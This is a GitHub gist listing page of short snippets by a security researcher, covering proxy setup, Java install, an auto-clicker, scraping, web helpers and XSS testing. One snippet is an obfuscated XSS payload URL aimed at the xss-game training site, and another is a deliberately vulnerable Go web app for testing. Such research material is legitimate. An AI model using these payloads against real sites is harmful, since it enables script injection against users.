Skip to content

Instantly share code, notes, and snippets.

View hahwul's full-sized avatar
🔥
I love coffee ☕️

HAHWUL hahwul

🔥
I love coffee ☕️
View GitHub Profile
@hahwul
hahwul / proxy-switcher.plist
Created October 31, 2023 04:01
proxy-switcher
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadDescription</key>
<string>Enable proxy settings for ZAP</string>
<key>PayloadDisplayName</key>
@hahwul
hahwul / install_java.sh
Created November 23, 2022 15:14
Install Java Runtime 11
# The operation couldn’t be completed. Unable to locate a Java Runtime that supports jarsigner.
# Please visit http://www.java.com for information on installing Java.
brew install openjdk@11
sudo ln -sfn $(brew --prefix)/opt/openjdk@11/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk-11.jdk
@hahwul
hahwul / click.rb
Last active July 10, 2022 06:06
Mouse click via Ruby
# Dependency
# gem install rumouse
#
# Run command
# ruby click.rb <delay-second>
# e.g: ruby click.rb 60
require 'rumouse'
mouse = RuMouse.new
@hahwul
hahwul / searchGithubAtions.rb
Last active May 23, 2022 15:25
searchGithubAtions
require "selenium-webdriver"
require "logger"
def searchCode code, logger
begin
options = Selenium::WebDriver::Firefox::Options.new
options.add_argument('--headless')
driver = Selenium::WebDriver.for :firefox , capabilities: options
driver.navigate.to "https://grep.app/search?q=#{code}&filter[lang][0]=YAML&filter[repo.pattern][0]=action"
sleep(3)
@hahwul
hahwul / asciinema.html
Last active April 6, 2023 14:16
Asciinema shortcode in Hugo
<div id="asciinema-player"></div>
<script>
AsciinemaPlayer.create("https://asciinema.org/a/{{ with .Get "key" }}{{ . }}{{ end }}.cast", document.getElementById('asciinema-player'), {
{{ if .Get "autoplay" }}autoplay: {{ .Get "autoplay" }},{{ end }}
{{ if .Get "preload" }}preload: {{ .Get "preload" }},{{ end }}
{{ if .Get "loop" }}loop: {{ .Get "loop" }},{{ end }}
{{ if .Get "idleTimeLimit" }}idleTimeLimit: {{ .Get "idleTimeLimit" }},{{ end }}
{{ if .Get "poster" }}poster: "{{ .Get "poster" }}",{{ end }}
{{ if .Get "terminalFontSize" }}terminalFontSize: {{ .Get "terminalFontSize" }},{{ end }}
{{ if .Get "terminalFontFamily" }}terminalFontFamily: "{{ .Get "terminalFontFamily" }}",{{ end }}
@hahwul
hahwul / listen-port-in-mac.sh
Created August 16, 2021 07:45
Show listen port in MacOS
lsof -iTCP -sTCP:LISTEN -n -P
@hahwul
hahwul / copy-clipboard.js
Created July 31, 2021 08:21
copy to clipboard
function copy(val) {
const t = document.createElement("textarea");
document.body.appendChild(t);
t.value = val;
t.select();
document.execCommand('copy');
document.body.removeChild(t);
}
@hahwul
hahwul / blur.css
Created June 17, 2021 16:26
blur and not pointing html object
.blur {
filter: blur(2px);
-webkit-filter:
blur(2px);
pointer-events: none;
}
@hahwul
hahwul / hangul-xss.txt
Created May 28, 2021 03:39
Hangul xss
https://xss-game.appspot.com/level1/frame?query=%3Cscript%3E([,%ED%95%98,,,,%ED%9B%8C]=[]%2B{},[%ED%95%9C,%EA%B8%80,%ED%8E%98,%EC%9D%B4,,%EB%A1%9C,%EB%93%9C,%E3%85%8B,,,%E3%85%8E]=[!!%ED%95%98]%2B!%ED%95%98%2B%ED%95%98.%E3%85%81)[%ED%9B%8C%2B=%ED%95%98%2B%E3%85%8E%2B%E3%85%8B%2B%ED%95%9C%2B%EA%B8%80%2B%ED%8E%98%2B%ED%9B%8C%2B%ED%95%9C%2B%ED%95%98%2B%EA%B8%80][%ED%9B%8C](%EB%A1%9C%2B%EB%93%9C%2B%EC%9D%B4%2B%EA%B8%80%2B%ED%95%9C%2B%27(45)%27)()%3C/script%3E
@hahwul
hahwul / xss-vuln-web-v2.go
Last active March 7, 2021 16:44
Vuln web for path based XSS testing
package main
import (
"net/http"
"time"
"net/url"
"github.com/labstack/echo"
"github.com/tylerb/graceful"
)